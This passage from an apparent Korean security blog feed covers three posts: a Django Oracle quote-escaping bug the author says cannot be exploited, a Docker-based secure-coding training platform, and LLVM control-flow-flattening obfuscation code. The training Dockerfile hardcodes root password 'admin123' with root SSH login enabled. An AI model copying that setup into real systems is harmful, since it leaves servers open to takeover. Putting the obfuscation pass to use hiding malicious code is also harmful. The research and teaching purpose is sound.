highlighter-rouge">KeyTransform</code> class</h1> + +<p>위 세 개의 취약점이 크게 인상깊어서 올해 6월 경부터 Django 프레임워크에서 SQL Injection 취약점을 찾아내겠다는 목표를 갖고 취약점 분석을 시작했습니다. 그래서 결국 Oracle 데이터베이스 환경에서 특정 기능을 이용할 때 특수문자가 unescaped 되어 SQL 쿼리를 탈출할 수 있는 버그를 찾았습니다.</p> + +<h2 id="5-1-keytransform">5-1. <code class="language-plaintext highlighter-rouge">KeyTransform</code></h2> + +<p><code class="language-plaintext highlighter-rouge">django.db.models.fields.json</code>에 정의된 <code class="language-plaintext highlighter-rouge">KeyTransform</code> 클래스는 MySQL의 <code class="language-plaintext highlighter-rouge">JSON_EXTRACT()</code> 함수를 Django ORM으로 구현하기 위해 만들어졌습니다. 아래는 <code class="language-plaintext highlighter-rouge">KeyTransform</code> 클래스의 <code class="language-plaintext highlighter-rouge">as_mysql()</code> 메소드가 정의된 부분입니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/14.png" alt="image" /></p> + +<p>MySQL에서 사용되는 <code class="language-plaintext highlighter-rouge">JSON_EXTRACT()</code> 함수의 사용 예는 아래와 같습니다. 첫번째 인자로 JSON Document를 받고, 두 번째 인자로 Path를 받습니다. 아래 예시처럼 사용하여 JSON Document의 Path에 해당되는 값을 불러올 수 있습니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted%20image%2020221217022516.png" alt="image" /></p> + +<h2 id="5-2-keytransformas_oracle">5-2. <code class="language-plaintext highlighter-rouge">KeyTransform.as_oracle()</code></h2> + +<p>Django에서는 MySQL의 <code class="language-plaintext highlighter-rouge">JSON_EXTRACT()</code> 함수를 다른 DBMS에서도 사용할 수 있도록 하기 위해 아래와 같이 여러 함수를 중첩적으로 사용하여 구현해두었습니다. 아래는 Oracle DB 환경에서 <code class="language-plaintext highlighter-rouge">JSON_EXTRACT()</code> 함수를 구현해둔 것입니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/15.png" alt="image" /></p> + +<h2 id="5-3-keytransformpreprocess_lhs">5-3. <code class="language-plaintext highlighter-rouge">KeyTransform.preprocess_lhs()</code></h2> + +<p>우선 첫번째로 호출하는 <code class="language-plaintext highlighter-rouge">self.preprocess_lhs()</code>를 분석해볼 필요가 있습니다. <code class="language-plaintext highlighter-rouge">lhs</code>는 Left-Hand Side의 줄임말로, Django에서는 내부적으로 쿼리를 생성할 때 사용되는 일종의 접미사라고 볼 수 있습니다. 이 메소드의 내용은 아래와 같습니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/16.png" alt="image" /></p> + +<p>이 메소드에서는 기존 JSON에서 사용되는 특수문자를 escape 처리하기 위해 <code class="language-plaintext highlighter-rouge">key_transforms</code> 라는 변수를 반환합니다. 이 변수는 <code class="language-plaintext highlighter-rouge">__init__</code>에서 만들어진 값이며 클래스 생성 시 전달한 <code class="language-plaintext highlighter-rouge">key_name</code> 값이 저장되어 있습니다.</p> + +<h2 id="5-4-compile_json_path">5-4. <code class="language-plaintext highlighter-rouge">compile_json_path()</code></h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/17.png" alt="image" /></p> + +<p>다시 <code class="language-plaintext highlighter-rouge">as_oracle()</code> 메소드로 돌아와서, <code class="language-plaintext highlighter-rouge">key_transforms</code> 변수를 <code class="language-plaintext highlighter-rouge">compile_json_path()</code>의 인자로 전달하는 것을 볼 수 있습니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/18.png" alt="image" /></p> + +<p>이 <code class="language-plaintext highlighter-rouge">compile_json_path()</code> 함수는 인자로 받은 <code class="language-plaintext highlighter-rouge">key_trancsforms</code> 값이 <code class="language-plaintext highlighter-rouge">int()</code>를 호출할 때 Exception이 난다면 <code class="language-plaintext highlighter-rouge">json.dumps()</code> 를 통해 변수를 JSON 형식으로 저장해 반환해줍니다. 이때 <code class="language-plaintext highlighter-rouge">json.dumps()</code>는 백슬래시와 더블쿼터를 escape처리하는데, 싱글쿼터(<code class="language-plaintext highlighter-rouge">'</code>)는 백슬래시를 통해 처리되지 않기 때문에 SQL Query에 영향을 끼칠 수 있습니다.</p> + +<h2 id="5-5-boom">5-5. BOOM!</h2> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/19.png" alt="image" /></p> + +<p>또 다시 <code class="language-plaintext highlighter-rouge">as_oracle()</code> 메소드로 돌아와서 확인해보면, 싱글쿼터가 그대로 들어갈 수 있는 <code class="language-plaintext highlighter-rouge">json_path</code> 가 Format String으로 <code class="language-plaintext highlighter-rouge">JSON_QUERY()</code>, <code class="language-plaintext highlighter-rouge">JSON_VALUE()</code> 함수 안에 그대로 들어가는 것을 확인할 수 있습니다.</p> + +<p><img src="/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted%20image%2020221217030925.png" alt="image" /></p> + +<p>따라서, 어떤 Django Application의 <code class="language-plaintext highlighter-rouge">views.py</code>에 위와 같은 코드가 있다면 실제 Single Quotes Unescaped Bug를 트리거 할 수 있습니다.</p> + +<h2 id="5-6-한계">5-6. 한계</h2> + +<p>이 버그는 실제 SQL Injection 공격까지 트리거 할 수 없습니다. ORACLE DBMS에서는 MySQL에서와 다르게 모든 함수의 각 인자를 검증하는 과정이 있기 때문입니다. 이번 SQL Injection 취약점은 <code class="language-plaintext highlighter-rouge">JSON_QUERY()</code> 함수에서 SQL Injection 취약점이 두번째 문자열 인자에서 트리거되는데, 이때 Oracle DB의 유효성 검증을 우회하지 못합니다. Oracle DB는 MySQL처럼 SQL 구문을 자유자재로 다루기가 힘들기 때문입니다.</p> + +<p><br /></p> + +<h1 id="6-끝으로">6. 끝으로..</h1> + +<p>대형 오픈소스 프레임워크를 분석해보면 배울 수 있는 점이 많습니다. 이번에 분석해본 Django의 경우에는 훌륭한 객체지향 디자인을 기반으로, Python의 가치를 최대화하여 작성된 프레임워크였던 것 같습니다. Django가 어떻게 구현되었는지 확인해보면서 부족했던 저의 프로그래밍, 소프트웨어 구조화 등 암묵지 실력을 키울 수 있었다고 생각합니다.</p> + +<p>하지만 프레임워크라는 것이 프로그래머마다 구현하기 나름이라, 사용하고 있는 Django의 버전에 1-day 취약점이 존재해도 어떻게 구현하느냐에 따라 취약점이 발생하지 않을 수 있습니다. 이것을 보통 generic하지 않다고 표현하기도 하는데, 프레임워크 분석할 때 이 부분이 조금 아쉬운 부분이긴 합니다.</p> + +<p>이 글은 Obsidian으로 제텔카스텐 기법을 써서 작성되었습니다. 제텔카스텐을 알려주시고 개인적으로 제게 큰 힘과 용기를 북돋아주신 호정님께 이 글을 빌려 감사인사를 드리고 싶습니다.</p>Seokchan Yoon목차 0. Introduction 1. How does Django execute SQL query? 2. CVE-2022-28346 3. CVE-2022-28347 4. CVE-2022-34265 5. Django Single Quote Unescaped Bug 6. 끝으로Secure Coding Training System 개발기2022-10-04T00:00:00+09:002022-10-04T00:00:00+09:00http://ufo.stealien.com/2022-10-04/Secure-Coding-Training-System-ko%20copy<h1 id="개요">개요</h1> + +<p>안녕하세요. 스틸리언 R&amp;D팀 윤석찬입니다. 저는 스틸리언에서 모의해킹, 보안 기술 연구 뿐만 아니라 다양한 제품을 개발하고 있기도 합니다. 제가 개발에 참여한 대표적인 것 중 하나는 <em>Cyber Drill System</em>이라는 교육 플랫폼입니다. 스틸리언에서는 이 플랫폼을 이용해 학생 혹은 실무자 분들을 대상으로 교육하고 있습니다. 입사하고 약 2개월이 되던 때 즈음 이 프로젝트에 참가하게 되었는데, 벌써 3년째가 되었네요 😄 저는 이 프로젝트를 좀 더 고도화하고 새로운 형식의 플랫폼을 위해서 노력하고 있습니다.</p> + +<p>최근 몇몇 워게임, 해킹대회(CTF) 중에는 취약한 인스턴스를 할당받고, 이것을 공격하는 형태의 플랫폼이 증가하고 있습니다. 대표적으로는 HackTheBox, 드림핵 플랫폼이 있습니다. 이 중 HackTheBox 플랫폼은 실제 인스턴스를 할당받는 방식으로 구현되었으며, 독립적인 가상 서버에서 실습할 수 있기 때문에 좀 더 다양한 공격을 시도해볼 수 있게 됩니다.</p> + +<p>가령 일반적인 CTF 플랫폼에서는 하나의 가상서버에 여러 사용자가 접근하여 취약점을 공격하기 때문에 LPE* 기법을 쓰지 못하도록 막아놓는 경우가 일반적인 반면, HackTheBox는 타겟의 쉘을 얻는 것에 그치지 않고 가상서버에서 얻은 쉘을 이용해 LPE까지 유도하기도 합니다. 저도 HackTheBox와 같은 인스턴스 할당 방식의 교육 훈련 시스템을 만들어서 효용성 높은 훈련 시스템을 만들고자 했고, docker command 중 몇 개를 python 코드에 매핑만 해두어도 충분히 구현할 수 있겠다는 생각이 들었습니다. 그렇게 관련 자료를 찾아보다 Docker SDK라는 라이브러리를 찾을 수 있었습니다.</p> + +<p>* LPE : Local Privilege Escalation</p> + +<h1 id="docker-sdk">Docker SDK</h1> + +<p>Docker SDK 라이브러리는 docker 안의 대부분의 명령어를 파이썬 코드로 매핑해놓은 라이브러리입니다. 그런데 제가 생각했던 점과 다른 점이 있다면 이 라이브러리는 <code class="language-plaintext highlighter-rouge">docker [command]</code> 형식의 커맨드를 매핑해놓은게 아니라, <code class="language-plaintext highlighter-rouge">/var/run/docker.sock</code> 에 마운트된 유닉스 소켓을 통한 HTTP API 통신으로 매핑해놓았다는 것입니다. (정확히는 <code class="language-plaintext highlighter-rouge">docker [command]</code> 방식도 내부적으로는 유닉스 소켓을 통한 HTTP API 통신을 합니다.)</p> + +<p>실제로 공식홈페이지에 들어가보면 도커 명령어를 파이썬 명령어로 실행시킬 수 있음을 확인할 수 있습니다.</p> + +<p><strong><em>Using echo command in alpine image</em></strong></p> +<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span> <span class="nn">docker</span> +<span class="o">&gt;&gt;&gt;</span> <span class="n">client</span> <span class="o">=</span> <span class="n">docker</span><span class="p">.</span><span class="n">from_env</span><span class="p">()</span> +<span class="o">&gt;&gt;&gt;</span> <span class="n">client</span><span class="p">.</span><span class="n">containers</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="s">'alpine'</span><span class="p">,</span> <span class="s">'echo hello world'</span><span class="p">)</span> +<span class="sa">b</span><span class="s">'hello world</span><span class="se">\n</span><span class="s">'</span> +</code></pre></div></div> + +<p><strong><em>Managing your containers</em></strong></p> +<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span> <span class="n">client</span><span class="p">.</span><span class="n">containers</span><span class="p">.</span><span class="nb">list</span><span class="p">()</span> +<span class="p">[</span><span class="o">&lt;</span><span class="n">Container</span> <span class="s">'45e6d2de7c54'</span><span class="o">&gt;</span><span class="p">,</span> <span class="o">&lt;</span><span class="n">Container</span> <span class="s">'db18e4f20eaa'</span><span class="o">&gt;</span><span class="p">,</span> <span class="p">...]</span> +<span class="o">&gt;&gt;&gt;</span> <span class="n">container</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">containers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'45e6d2de7c54'</span><span class="p">)</span> +<span class="o">&gt;&gt;&gt;</span> <span class="n">container</span><span class="p">.</span><span class="n">attrs</span><span class="p">[</span><span class="s">'Config'</span><span class="p">][</span><span class="s">'Image'</span><span class="p">]</span> +<span class="s">"bfirsh/reticulate-splines"</span> +<span class="o">&gt;&gt;&gt;</span> <span class="n">container</span><span class="p">.</span><span class="n">logs</span><span class="p">()</span> +<span class="s">"Reticulating spline 1...</span><span class="se">\n</span><span class="s">"</span> +<span class="o">&gt;&gt;&gt;</span> <span class="n">container</span><span class="p">.</span><span class="n">stop</span><span class="p">()</span> +</code></pre></div></div> + +<p>[참고] : <a href="https://docker-py.readthedocs.io/en/stable/">https://docker-py.readthedocs.io/en/stable/</a></p> + +<p>위처럼 Docker SDK를 통해 docker command를 자동화할 수 있고, 만들 수 있는 것들이 무궁무진해집니다. 이 라이브러리를 사용하면 docker를 통한 이미지, 컨테이너 관리 작업을 코드 상에서 안정적으로 구현할 수 있습니다. 저는 이것을 통해 AWS EC2 서비스 같은 VPC (Virtual Private Cloud) 서비스를 구현해볼 수 있을 것 같다는 생각이 들었습니다.</p> + +<h1 id="simple-vpc-service">Simple VPC Service</h1> + +<p>그래서 Docker SDK 라이브러리로 처음 구현해본 서비스는 VPC 서비스입니다. 제가 만든 VPC 서비스의 주요 기능은 사용자가 버튼을 클릭하면 SSH 서버를 제공하는 것입니다. 이 기능을 구현하기 위해 내부적으로 거쳐야 하는 과정은 다음과 같습니다.</p> + +<ol> + <li>사용자의 정보를 확인해서 서버 생성 권한이 있는지 확인한다.</li> + <li>사용자로부터 포트 번호를 받는다.</li> + <li><code class="language-plaintext highlighter-rouge">openssh-server</code> 패키지가 설치된 컨테이너 이미지를 기반으로 컨테이너를 생성하고, 사용자가 입력한 포트번호로 컨테이너의 22번 포트를 연결한다.</li> + <li>생성한 컨테이너에 foreground에서 종료되지 않고 무기한으로 실행할 수 있는 명령어를 실행해서 컨테이너를 유지한다. (e.g. <code class="language-plaintext highlighter-rouge">tail -f /dev/null</code> , ` +<code class="language-plaintext highlighter-rouge">sleep infinity</code>)</li> + <li>생성한 컨테이너를 사용자에게 전달한다.</li> +</ol> + +<p>위 과정에서 사용된 컨테이너 이미지를 빌드하기 위한 <code class="language-plaintext highlighter-rouge">Dockerfile</code> 은 아래와 같습니다.</p> + +<div class="language-Dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> ubuntu:latest</span> + +<span class="k">RUN </span>apt-get update <span class="nt">-y</span> +<span class="k">RUN </span>apt-get <span class="nb">install</span> <span class="nt">-y</span> openssh-server vim + +<span class="c"># change root password</span> +<span class="k">RUN </span><span class="nb">echo</span> <span class="s1">'root:admin123'</span> | chpasswd + +<span class="c"># change ssh configure</span> +<span class="k">RUN </span><span class="nb">echo </span>PermitRootLogin <span class="nb">yes</span> <span class="o">&gt;&gt;</span> /etc/ssh/sshd_config <span class="o">&amp;&amp;</span> service ssh restart + +<span class="k">RUN </span>service ssh restart +</code></pre></div></div> + +<p>(tl;dr) 위와 같은 식으로 VPC 서비스를 구현하고 제가 다니는 학교에 프로젝트 과제로 제출해서 좋은 성적을 받은 경험이 있습니다. ^^ v 소스코드는 현재 비공개로 되어있으며 현재는 사내 git 내부 프로젝트로 옮겨두었습니다.</p> + +<h1 id="cce-2021">CCE 2021</h1> + +<p>저는 국가정보원에서 주최한 2021 사이버공격방어대회(CCE)에 한국수력원자력 연합팀으로 공공부문에 참가한 경험이 있습니다. CCE는 우리나라에서 규모가 큰 대회이고 본선에서 공방전 형식 등 다양한 포맷을 시도하는 것으로 유명한 대회입니다. 저는 Jeopardy 방식이 아닌 새로운 형식의 대회를 처음 참가했던 터라 새로운 형식의 대회에 크게 감명 받았습니다.</p> + +<figure> + <img src="/assets/2022-10-04-Secure-Coding-Training-System/cce.jpeg" title="Github_Logo" /> + <figcaption> + <p align="center">2021 사이버공격방어대회 수상 당시 🔥</p> + </figcaption> +</figure> + +<p>본선 대회 형식은 라운드 별로 나뉘었던 것으로 기억합니다. 팀 내에서 제가 주도적으로 참여했던 첫번째 라운드는 출제진 쪽에서 제공한 가상 인스턴스에 ssh로 접속해서 취약한 소스코드를 수정하고 SLA 체크 후 점수가 변동되는 형식이었습니다. SLA 체크는 자동 스크립트를 통해 가상 인스턴스의 가용성, 취약성을 검사입니다. 30초마다 문제 출제진 쪽에서 만든 SLA 체크 스크립트를 돌려서 취약점이 아직 존재하거나 서비스의 가용성이 훼손된 경우 팀 점수에서 차감되는 형식입니다.</p> + +<p>CCE가 끝나고 나서 든 생각은, 제가 만든 VPC 서비스를 좀 더 발전시켜서 CCE 본선에서 봤던 시스템을 구현할 수 있겠다는 것이었습니다.</p> + +<h1 id="secure-coding-training-platform">Secure Coding Training Platform</h1> + +<p>2022년 내에 교내 보안대회에서 사용하겠다는 목표로 시큐어 코딩 교육 플랫폼을 만들었습니다. 원래는 ssh 정보만 주고 <code class="language-plaintext highlighter-rouge">vi</code> 명령으로 소스코드를 수정하는 형식으로 운영하고자 했으나, 터미널에 익숙하지 않은 분들이 많다는 점을 알게 되어 WEB IDE를 제공하는 형식으로 개발했습니다. WEB IDE는 <code class="language-plaintext highlighter-rouge">monaco-editor</code> 라이브러리를 사용하여 React를 기반으로 만들어졌고, 이미지화하여 활용성을 높게 하였습니다.</p> + +<p>* WEB IDE : <a href="https://github.com/ch4n3-yoon/online-monaco-editor">https://github.com/ch4n3-yoon/online-monaco-editor</a></p> + +<p>WEB IDE를 생성하는 과정은 다음과 같습니다.</p> +<ol> + <li>문제 출제자가 지정한 이미지 이름을 가져와 컨테이너를 생성한다.</li> + <li>생성한 컨테이너에서 문제 출제자가 지정한 디렉터리에서 소스코드를 복사한다.</li> + <li>사용자에게 제공될 WEB-IDE를 생성한다.</li> + <li>컨테이너에서 복사한 소스코드를 WEB IDE 안에 복사한다.</li> + <li>사용자에게 WEB IDE 접속 정보를 출력한다.</li> +</ol> + +<p>SLA 체크 과정은 다음과 같습니다.</p> +<ol> + <li>사용자가 해당 문제를 이미 풀었는지 등을 확인한다.</li> + <li>사용자가 수정한 파일들을 관리 서버에 복사한다.</li> + <li>build 및 SLA 용 컨테이너를 생성한다.</li> + <li>3에서 생성한 컨테이너에 사용자가 수정한 파일을 붙여넣는다.</li> + <li>문제에 지정된 TestCase 명령어들을 수행하고 점수를 매긴다.</li> +</ol> + +<p>(tl;dr) 이 프로젝트도 소스코드는 현재 비공개로 되어있으며 현재는 사내 git 내부 프로젝트로 옮겨두었습니다.</p> + +<h1 id="경희대학교-sw-보안대회">경희대학교 SW 보안대회</h1> + +<p><img src="/assets/2022-10-04-Secure-Coding-Training-System/poster.png" width="400px" title="KHUCTF Poster" /></p> + +<p>실제로 해당 플랫폼으로 경희대학교에서 SW 보안대회를 진행했습니다. RAON, ENKI 등 국내 유명한 보안 업체 소속인 제 친구들과 재직자 분들께 부탁을 해서 양질의 문제를 출제할 수 있었습니다. 실제 문제 풀이자가 그렇게 많지 않아 사용자 피드백이 적다는 점이 아쉽긴하나, 이 대회를 계기로 회사 내에서 만들고 있는 사이드 프로젝트에 큰 도움이 되었습니다.</p> + +<h1 id="마무리">마무리</h1> + +<p>Docker SDK를 통해 실제 소프트웨어 보안대회에 사용되는 플랫폼을 개발하기까지의 과정을 한 예시로 설명드렸습니다. 클라우드 서비스 상품과 라이브러리는 지금도 다양하게 제공되고 있어서 쉽게 기능을 개발할 수 있습니다.</p> + +<blockquote> + <p>거인의 어깨 위에 서서 더 높은 가치를 만들어낼 수 있습니다.</p> +</blockquote>윤석찬개요LLVM을 사용한 Control Flow Flattening 패스 개발2022-07-13T00:00:00+09:002022-07-13T00:00:00+09:00http://ufo.stealien.com/2022-07-13/LLVM-flow-flatten-ko<h1 id="llvm을-사용한-control-flow-flattening-패스-개발">LLVM을 사용한 Control Flow Flattening 패스 개발</h1> + +<p><a href="https://github.com/llvm/llvm-project">LLVM</a>을 이용하여 난독화를 할 수 있으면 이를 기반으로 다양한 플랫폼에서 LLVM을 사용하여 빌드되는 코드들에 대한 공통 난독화 툴을 만들 수 있을 것이라고 생각하였습니다.</p> + +<p>이를 위해 여러가지 난독화 및 암호화 패스를 개발하였고 이 글에서는 그 중 한 가지인 흐름 평면화 패스의 개발 과정에 대해 소개하겠습니다.</p> + +<h2 id="llvm이란">LLVM이란</h2> + +<p>LLVM의 정식 명칭은 <code class="language-plaintext highlighter-rouge">Low Level Virtual Machine</code>입니다.</p> + +<p>하지만 이 프로젝트의 핵심은 기존의 virtual machine 개념보다는 모듈화 되고 재사용 가능한 컴파일러 기술을 의미합니다. 그리고 이것은 target independent한 <a href="https://llvm.org/docs/CommandGuide/opt.html">optimizer</a>, target specific 한 어셈블리 코드를 생성하는 code generator 같은 컴파일러 도구들과 프로그래밍 언어와 어셈블리 코드 사이에 LLVM intermediate representation으로 알려진 LLVM IR이라는 중간 단계의 언어로 이루어져 있습니다.</p> + +<p>이 글에서는 LLVM에서 모듈화된 컴파일러를 제작할 수 있는 구조인 패스를 통해 흐름 난독화를 하였습니다.</p> + +<h2 id="control-flow-flattening란">Control Flow Flattening란</h2> + +<p>흐름 평면화, <code class="language-plaintext highlighter-rouge">control flow flattening</code>은 코드의 흐름을 평면화 시키는 난독화 기술입니다. Loop, conditional branch 같은 코드의 흐름을 전부 하나의 거대한 switch 문에 집어넣어서 모든 다른 블록으로의 이동이 단 하나의 블록으로부터 이루어지도록 만들어 코드를 분석하기 어렵게 만듭니다. 흐름 그래프가 마지막 사진과 같은 구조로 변경됩니다.</p> + +<h2 id="환경-구성">환경 구성</h2> + +<p>이 글에서는 llvm 13 버전을 바탕으로 LLVM을 빌드 하였습니다.</p> + +<p>아래 <a href="https://llvm.org/docs/CMake.html#usage">cmake</a> 명령이 정상적으로 실행된 후 <code class="language-plaintext highlighter-rouge">ninja</code>를 통해 빌드할 수 있습니다.</p> + +<p>LLVM 개발은 샘플 패스인 llvm/lib/Transforms/Hello를 덮어씌워 흐름 평면화를 위한 커스텀 패스를 개발하였습니다.</p> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmake <span class="nt">-G</span> Ninja <span class="nt">-DLLVM_PARALLEL_LINK_JOBS</span><span class="o">=</span>1 <span class="nt">-DCMAKE_BUILD_TYPE</span><span class="o">=</span>Debug <span class="nt">-DLLVM_ENABLE_PROJECTS</span><span class="o">=</span>clang ../llvm-project/llvm +</code></pre></div></div> + +<h2 id="흐름-평면화-적용-시-발생하는-오류">흐름 평면화 적용 시 발생하는 오류</h2> + +<p>LLVM에서 <a href="https://llvm.org/doxygen/classllvm_1_1Function.html">Function</a> 클래스 아래에 존재하는 <a href="https://llvm.org/doxygen/classllvm_1_1BasicBlock.html">Basic Block</a>들을 흐름 평면화의 개념에 따라 하나의 거대한 <a href="https://llvm.org/doxygen/classllvm_1_1SwitchInst.html">Switch Instruction</a> 아래에 집어넣음으로써 구현해 낼 수 있습니다.</p> + +<p>이처럼 수정을 시도할 경우 <a href="https://github.com/llvm/llvm-project/blob/main/llvm/lib/IR/Verifier.cpp">LLVM Verifier</a>에서 수정된 내용이 유효한지 검증합니다. 흐름 그래프와 관련된 검증에는 preds라는 어떤 블록에서 이 블록으로 이동할 수 있는지에 대한 정보가 주로 사용되는데, 이와 관련된 아래 3가지 검증에서 오류가 자주 발생합니다.</p> + +<ol> + <li> + <p><a href="https://llvm.org/doxygen/classllvm_1_1PHINode.html">phi node</a>의 경우 모든 케이스와 preds가 일치해야 한다.</p> + + <div class="language-cmake highlighter-rouge"><div class="highlight"><pre class="highlight"><code> PHINode should have one entry for each predecessor of its parent basic block! + %62 = phi i32 [ %30, %23 ], [ %35, %32 ], [ %40, %37 ], [ %60, %54 ], !dbg !1211 + LLVM ERROR: Broken module found, compilation aborted! +</code></pre></div> </div> + </li> + <li> + <p>블록 A에서 호출하는 변수는 entry block에서 블록 A에 도달하기 전에 정의되어야 한다.</p> + + <div class="language-cmake highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Instruction does not dominate all uses! + %alloc = alloca i64, align 8 + %load = load i64, i64* %alloc, align 8 + LLVM ERROR: Broken module found, compilation aborted! +</code></pre></div> </div> + </li> + <li> + <p><a href="https://llvm.org/doxygen/classllvm_1_1LandingPadInst.html">Landingpad</a>를 가진 블록은 반드시 <a href="https://llvm.org/doxygen/classllvm_1_1InvokeInst.html">invoke</a>에 의해서 호출되어야 한다.</p> + + <div class="language-cmake highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Block containing LandingPadInst must be jumped to only by the unwind edge of an invoke. + LLVM ERROR: Broken module found, compilation aborted! +</code></pre></div> </div> + + <p>이 문제들 중 1번과 2번은 <code class="language-plaintext highlighter-rouge">opt</code>에 기본으로 내장되어 있는 <a href="https://llvm.org/docs/Passes.html#reg2mem-demote-all-values-to-stack-slots">–reg2mem</a> 옵션을 사용함으로써 대부분 해결할 수 있습니다. 이 옵션은 phi 노드들을 제거하고 모든 allocation을 entry block에서 하도록 수정해줍니다. 이를 적용함으로써 흐름 평면화를 진행하기 쉬워집니다. 다만 이 옵션을 적용하여도 남아있는 phi node가 있는 경우가 있어 이에 대한 예외처리를 해야 합니다.</p> + </li> +</ol> + +<p>3번의 경우 switch-case 블록에서 호출할 수 없기 때문에 예외처리를 해야 합니다.</p> + +<h2 id="평면화-코드-구현">평면화 코드 구현</h2> + +<p>우선 switch-case 문에서 호출할 수 있는 블록들을 확인해야합니다. Function 클래스에 iterator를 돌면서 위의 3번, LandingPad를 가졌는지 확인하고 아닌 것들을 벡터 형태로 수집합니다. Allocation이 이루어지는 블록은 따로 분리해 두어야 하기 때문에 entry block을 제거해주어야 합니다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vector&lt;BasicBlock *&gt; origBB; +for (Function::iterator i = F.begin(); i != F.end(); ++i) +{ + BasicBlock *block = &amp;*i; + if (!block-&gt;isLandingPad()) + { + origBB.push_back(block); + } +} +origBB.erase(origBB.begin()); +return origBB; +</code></pre></div></div> + +<p>그 다음 IRBuilder를 사용하여 Switch Instruction을 가지게 될 Basic Block을 만들어야 합니다. Switch 블록에는 default로 어떤 블록으로 점프할 것인지를 지정해 주어야 하는데 이것 역시 새로운 빈 블록, swDefault를 생성하여 지정해 주었습니다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BasicBlock *swDefault = BasicBlock::Create(Context, "StealienCFGSwitchDefault", &amp;F, *origBB.begin()); +IRBuilder&lt;&gt; IRBswDefault(swDefault); +IRBswDefault.CreateBr(*origBB.begin()); + +BasicBlock *startSwitch = BasicBlock::Create(Context, "StealienCFGswitch", &amp;F, swDefault); +IRBuilder&lt;&gt; IRBswitch(startSwitch); +</code></pre></div></div> + +<p>그 다음 Switch에서 사용할 변수를 Entry Block에서 allocation을 해 준 뒤, Switch 블록에서 이 값을 Value add로 가져오도록 설정합니다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AllocaInst *switchVar = new AllocaInst(llvm::Type::getInt64Ty(Context), AddrSpace, nullptr, AllocaAlign, "", entryBlock-&gt;getTerminator()); +LoadInst *load = IRBswitch.CreateAlignedLoad(llvm::Type::getInt64Ty(Context), switchVar, MaybeAlign(8)); +Value *add = IRBswitch.CreateAdd(load, ConstantInt::get(llvm::Type::getInt64Ty(Context), 762167)); +</code></pre></div></div> + +<p>그 후 IRBSwitch에 Switch Instruction을 생성합니다. randomArr은 특정 범위의 수를 랜덤한 순서로 섞은 리스트이며, 이 값들을 사용해서 아래와 같이 case들을 추가해줍니다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>switchI = IRBswitch.CreateSwitch(add, swDefault, randomArr[origBB.size()]); +for (BasicBlock *setSwitchBlocks : origBB) +{ + BasicBlock *selectedBlock = setSwitchBlocks; + if(!this-&gt;hasPHI(selectedBlock)) { + ConstantInt *constCase = llvm::ConstantInt::get(llvm::Type::getInt64Ty(Context), randomArr[index]); + switchI-&gt;addCase(constCase, selectedBlock); + } +} +</code></pre></div></div> + +<p>마지막으로 origBB에 있는 BasicBlock 들의 Terminator를 BranchInst인지 그리고 Successor 개수에 따라 분류할 수 있습니다. BranchInst는 1개 혹은 2개의 Successor를 가지며, 이것들이 수정 대상입니다.</p> + +<ul> + <li>Branch Instruction이 아닌 경우 : return 혹은 unreachable 같은 종류되는 경우 혹은 invoke와 같이 수정이 불가능한 Terminating Instruction인 경우</li> + <li>Branch Instruction의 Successor가 1인 경우 : branch BlockA 같이 다른 블록으로 이동하는 경우</li> + <li>Branch Instruction의 Successor가 2인 경우 : branch condition BlockA BlockB 처럼 condition 값에 따라 이동하는 블록이 이동되는 경우</li> +</ul> + +<p>따라서 <a href="https://llvm.org/doxygen/classllvm_1_1BranchInst.html">Branch Instruction</a>에서 이동할 블록에 지정된 값을 Switch Instruction에서 찾아서 위에서 생성해둔 switchVar에 저장해주고 Switch Block으로 돌아가면 자동으로 이걸 로드해서 원하는 블록으로 이동하게 될 것입니다. Successor의 개수가 1인 경우에 대한 코드는 아래와 같습니다. 2인 경우에도 둘 다에 대해 동일하게 처리해주면 됩니다.</p> + +<p>아래 코드에서는 Switch Instruction에서 가져온 intCase 값이 직접 드러나는 것을 숨기기 위해 추가적인 덧셈과 곱셈을 수행하도록 하였습니다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if(!isa&lt;BranchInst&gt;(selectedBlock-&gt;getTerminator())){ + continue; +} +uint64_t successors = selectedBlock-&gt;getTerminator()-&gt;getNumSuccessors(); +if (successors == 1) +{ + BasicBlock *follow = selectedBlock-&gt;getTerminator()-&gt;getSuccessor(0); + ConstantInt *intCase = switchI-&gt;findCaseDest(follow); + if (intCase == NULL) + { + continue; + } + selectedBlock-&gt;getTerminator()-&gt;eraseFromParent(); + IRBuilder&lt;NoFolder&gt; tempBuilder(selectedBlock); + uint64_t origCase = intCase-&gt;getSExtValue() - addVal; + uint64_t randVal = 17+rand()%10000; + Value * mul = tempBuilder.CreateMul(ConstantInt::get(llvm::Type::getInt64Ty(Context), origCase/randVal), ConstantInt::get(llvm::Type::getInt64Ty(Context), randVal)); + Value * add = tempBuilder.CreateAdd(mul, ConstantInt::get(llvm::Type::getInt64Ty(Context), origCase%randVal)); + tempBuilder.CreateAlignedStore(add, switchVar, MaybeAlign(8)); + tempBuilder.CreateBr(startSwitch); +} +</code></pre></div></div> + +<h2 